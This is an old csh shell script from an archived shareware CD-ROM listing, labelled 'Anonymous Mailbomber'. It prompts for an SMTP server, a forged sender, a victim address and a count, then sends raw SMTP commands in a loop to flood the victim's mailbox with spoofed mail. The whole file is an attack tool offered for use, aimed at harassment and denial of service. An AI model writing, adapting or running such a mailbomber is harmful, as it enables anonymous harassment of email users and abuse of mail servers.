home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / MAILBMB.ZIP / MAILBOMB.CSH < prev    next >
Linux/UNIX/POSIX Shell Script  |  1996-10-08  |  1KB  |  38 lines

  1. #!/bin/csh
  2. # Anonymous Mailbomber
  3. # do chmod u+rwx <filename> where filename is the name of the file that
  4. # you saved it as.
  5. #*** WARNING - THIS WILL CREATE AND DELETE A TEMP FILE CALLED 
  6. # "teltemp"
  7. # IN THE DIRECTORY IT IS RUN FROM ****
  8. clear
  9. echo -n "What is the name or address of the smtp server ?"
  10. set server = $<
  11. #echo open $server 25 > teltemp
  12. echo quote helo somewhere.com >> teltemp
  13. #The entry for the following should be a single name (goober),
  14. #not goober@internet.address. 
  15. echo -n "Who will this be from (e.g. somebody) ?"
  16. set from = $<
  17. echo quote mail from: $from >> teltemp
  18. echo -n "Who is the lucky recipient (e.g. someone@somewhere) ? "
  19. set name = $<
  20. echo quote rcpt to: $name >> teltemp
  21. echo quote data >> teltemp
  22. echo quote . >> teltemp
  23. echo quote quit >> teltemp
  24. echo quit >> teltemp
  25. echo -n "How many times should it be sent ?"
  26. set amount = $<
  27. set loop_count = 1
  28. while ($loop_count <= $amount)
  29.     echo "Done $loop_count"
  30.     ftp -n $server 25 < teltemp
  31.     @ loop_count++
  32. end
  33. rm ./teltemp
  34. echo $amount e-mails complete to $name from $from@$server
  35. # ---------------------
  36. # MailBomb by CyBerGoAT
  37. # ---------------------
  38.